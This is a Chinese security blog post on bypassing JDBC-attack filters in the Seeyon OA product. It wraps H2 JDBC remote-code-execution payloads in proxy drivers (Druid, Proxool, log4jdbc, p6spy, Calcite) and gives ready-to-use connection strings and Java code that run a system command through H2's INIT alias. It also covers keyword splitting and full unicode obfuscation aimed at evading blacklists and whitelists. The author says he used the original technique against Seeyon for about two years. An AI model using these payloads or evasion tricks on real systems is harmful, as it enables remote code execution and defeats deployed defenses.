枢覆引 发表于 2025-6-30 13:13:22

另辟蹊径:利用代理驱动绕过JDBC Attack检测

0x01起因

以前徐师傅刚公开H2 JDBC RCE的时候我就用来打致远,打了大概两年然后修了最开始是直接用反斜线就可以绕过,后面添加了下面的判断。

新增了一个com.seeyon.ctp.giant.panda.database.url.ValidateContext#connectValidate
https://img2024.cnblogs.com/blog/858505/202506/858505-20250630142440221-954776931.png
com.seeyon.ctp.giant.panda.database.url.JdbcUrlCommaParamsValidate#urlValidate

看了下对几种常见的jdbc做了参数黑白名单配置,黑名单还能绕绕白名单是没法绕了。//最新的致远已经没有H2的驱动了
0x02DruidDriver


注意到上面的检测需要匹配到jdbc url前缀,才会进入对应的检测逻辑,于是看了一下致远一共有哪些JDBC驱动。
https://img2024.cnblogs.com/blog/858505/202506/858505-20250630142443029-1032089078.png
sqlite不在上面的检测中但是不止需要控制jdbc url还需要能执行sql语句才能触发。
注意到有一个驱动名字叫做com.alibaba.druid.proxy.DruidDriver
包名里有个proxy我们来看看他connect方法的具体实现
com.alibaba.druid.proxy.DruidDriver#connect

先通过acceptsURL判断url是否合法


即url前缀为jdbc:wrap-jdbc:即可,跟入com.alibaba.druid.proxy.DruidDriver#getDataSource

com.alibaba.druid.proxy.DruidDriver#parseConfig

截取jdbc:wrap-jdbc:后的字符串然后setRawUrl
然后进入com.alibaba.druid.util.JdbcUtils#getDriverClassName获取驱动类

然后进行jdbc连接



所以直接在我们原本的JDBC URL前面加上jdbc:wrap-jdbc:即可,这样可以直接使用druid的驱动类连接h2数据库,从而绕过上述检测逻辑。
jdbc:wrap-jdbc:jdbc:h2:mem:testdb;INIT=CREATE ALIAS EXEC AS 'void cmd_exec(String cmd) throws java.lang.Exception {Runtime.getRuntime().exec(cmd)\;}'\;CALL EXEC ('cmd /c calc')\;0x03可利用代理驱动

基于上述想法,想到应该不止druid有这样的代理驱动,于是找了一些类似的驱动进行研究总结。
druid

驱动为com.alibaba.druid.proxy.DruidDriver
只需在正常的JDBCPayload前加上jdbc:wrap-jdbc:即可
//com.alibaba.druid.proxy.DruidDriver
String proxoolUrl = "jdbc:wrap-jdbc:jdbc:h2:mem:testdb;INIT=CREATE ALIAS EXEC AS 'void cmd_exec(String cmd) throws java.lang.Exception {Runtime.getRuntime().exec(cmd)\\;}'\\;CALL EXEC ('cmd /c calc')\\;";
Connection connection = DriverManager.getConnection(proxoolUrl);这里不需要Class.forName("com.alibaba.druid.proxy.DruidDriver")只有比较老的驱动才需要,现在的 JDBC(JDBC 4.0 及以后),如果你的驱动包(比如 druid.jar)里有 META-INF/services/java.sql.Driver 文件,JDBC 会自动发现并注册驱动,不再需要手动加载。
java.sql.DriverManager#getConnection会遍历所有可以加载的驱动进行尝试

proxool

驱动为org.logicalcobwebs.proxool.ProxoolDriver我本地这个版本为proxool-0.9.1.jar

包里没有 META-INF/services/java.sql.Driver 文件,所以需要先手动加载
proxoolUrl格式为proxool.mypool:+驱动类+JDBCPayload
Class.forName("org.logicalcobwebs.proxool.ProxoolDriver");
String proxoolUrl = "proxool.mypool:org.h2.Driver:jdbc:h2:mem:testdb;INIT=CREATE ALIAS EXEC AS 'void cmd_exec(String cmd) throws java.lang.Exception {Runtime.getRuntime().exec(cmd)\\;}'\\;CALL EXEC ('cmd /c calc')\\;";
Connection connection = DriverManager.getConnection(proxoolUrl);这种需要手动加载的需要能控制传入的驱动类为org.logicalcobwebs.proxool.ProxoolDriver才能进入这个驱动的逻辑。
log4jdbc

驱动为net.sf.log4jdbc.sql.jdbcapi.DriverSpy
proxoolUrl格式为jdbc:log4+JDBCPayload
//net.sf.log4jdbc.sql.jdbcapi.DriverSpy
String proxoolUrl = "jdbc:log4jdbc:h2:mem:testdb;INIT=CREATE ALIAS EXEC AS 'void cmd_exec(String cmd) throws java.lang.Exception {Runtime.getRuntime().exec(cmd)\\;}'\\;CALL EXEC ('cmd /c calc')\\;";
Connection connection = DriverManager.getConnection(proxoolUrl);上面三种实际上不是很完满,如果碰到上来不判断前缀直接检测的还是可以检测到关键字,下面发现的两种可以解决这个问题。
p6spy

驱动为com.p6spy.engine.spy.P6SpyDriver


前缀需要为jdbc:p6spy:


这里将url里所有的p6spy:都替换为空然后进去驱动的匹配,jdbcurl格式为jdbc:p6spy:h2:mem:testdb;INIT=***才可以通过java.sql.Driver#acceptsURL匹配到h2的驱动。

我们传入的原始url会进入extractRealUrl再传入上面匹配到的驱动的connect方法。
注意到这里是全部替换为空

所有可以用p6spy:插入到任意两个字符之间比如可以写出如下proxoolUrl
//com.p6spy.engine.spy.P6SpyDriver
String proxoolUrl = "jdbc:p6spy:h2:mem:testdb;INp6spy:IT=CREATE ALIAS EXEC AS 'void cmd_exec(String cmd) throws java.lang.Exception {Runtime.getRuntime().exec(cmd)\\;}'\\;CALL EXEC ('cmd /c calc')\\;";
Connection connection = DriverManager.getConnection(proxoolUrl);将INIT变为了INp6spy:IT依然可以进行利用。
calcite

驱动为org.apache.calcite.avatica.UnregisteredDriver
这个驱动最开始我只看到从文件加载的方法,后面看他可以解析yaml想看看他有yaml反序列化没然后yaml反序列化没找到,看到也可以直接通过proxoolUrl连接H2的方式。
官方示例的连接方式为jdbc:calcite:model=./src/main/resources/model.json
解析json和yaml的方法为org.apache.calcite.model.ModelHandler#ModelHandler

此处的uri即为model=后面的值,第一个if里很明显可以直接以字符串方式传入连接配置,然后使用jackson进行解析。所有我们可以里用json解析的一些特性比如unicode来混淆我们的JDBCPayload。
//org.apache.calcite.jdbc.Driver
      Connection conn = DriverManager.getConnection("jdbc:calcite:model=inline:{\"version\":\"1.0\",\"defaultSchema\":\"H2\",\"schemas\":[{\"type\":\"jdbc\",\"name\":\"H2\",\"jdbcDriver\":\"org.h2.Driver\",\"jdbcUrl\":\"\\u006a\\u0064\\u0062\\u0063\\u003a\\u0068\\u0032\\u003a\\u006d\\u0065\\u006d\\u003a\\u0074\\u0065\\u0073\\u0074\\u0064\\u0062\\u003b\\u0049\\u004e\\u0049\\u0054\\u003d\\u0043\\u0052\\u0045\\u0041\\u0054\\u0045\\u0020\\u0041\\u004c\\u0049\\u0041\\u0053\\u0020\\u0045\\u0058\\u0045\\u0043\\u0020\\u0041\\u0053\\u0020\\u0027\\u0076\\u006f\\u0069\\u0064\\u0020\\u0063\\u006d\\u0064\\u005f\\u0065\\u0078\\u0065\\u0063\\u0028\\u0053\\u0074\\u0072\\u0069\\u006e\\u0067\\u0020\\u0063\\u006d\\u0064\\u0029\\u0020\\u0074\\u0068\\u0072\\u006f\\u0077\\u0073\\u0020\\u006a\\u0061\\u0076\\u0061\\u002e\\u006c\\u0061\\u006e\\u0067\\u002e\\u0045\\u0078\\u0063\\u0065\\u0070\\u0074\\u0069\\u006f\\u006e\\u0020\\u007b\\u0052\\u0075\\u006e\\u0074\\u0069\\u006d\\u0065\\u002e\\u0067\\u0065\\u0074\\u0052\\u0075\\u006e\\u0074\\u0069\\u006d\\u0065\\u0028\\u0029\\u002e\\u0065\\u0078\\u0065\\u0063\\u0028\\u0063\\u006d\\u0064\\u0029\\u005c\\u003b\\u007d\\u0027\\u005c\\u003b\\u0043\\u0041\\u004c\\u004c\\u0020\\u0045\\u0058\\u0045\\u0043\\u0020\\u0028\\u0027\\u0063\\u006d\\u0064\\u0020\\u002f\\u0063\\u0020\\u0063\\u0061\\u006c\\u0063\\u0027\\u0029\\u005c\\u003b\",\"jdbcUser\":\"user\",\"jdbcPassword\":\"password\"}]}");使用这个代理类黑名单、白名单参数限制都可以的绕过。可以做到不出现& ;这类参数分割符。
总结

当致远系统对常见JDBC驱动增加了黑白名单检测机制后,通过研究发现了一种绕过思路——代理驱动绕过。
核心在于利用代理驱动来包装原始的恶意JDBC连接,从而绕过安全检测机制。这种方法不是直接对抗过滤规则,而是通过"曲线救国"的方式实现目标。
上述发现的代理驱动可以分为三个层次:
第一层:基础代理绕过

[*]Druid、Proxool、Log4jdbc 等驱动
[*]可绕过通过检查JDBC URL的开头进入对应防护的场景
第二层:关键字混淆绕过

[*]P6spy 驱动
[*]通过在关键字中插入 p6spy: 实现混淆(如 INp6spy:IT)
[*]可绕过基于关键字匹配的检测机制
第三层:完全编码绕过

[*]Calcite 驱动
[*]支持Unicode编码完全混淆恶意payload
[*]可绕过基于关键字、黑白名单参数匹配的防护机制
上述方法也存在局限性依赖目标环境中存在相应的代理驱动包,如遇到的项目里一个也不存在的也可按照本文思路继续挖掘其他潜在的代理驱动。
文中的测试代码已上传github
https://github.com/cwkiller/JDBC-PROXY-Bypass

来源:程序园用户自行投稿发布,如果侵权,请联系站长删除
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!
页: [1]
查看完整版本: 另辟蹊径:利用代理驱动绕过JDBC Attack检测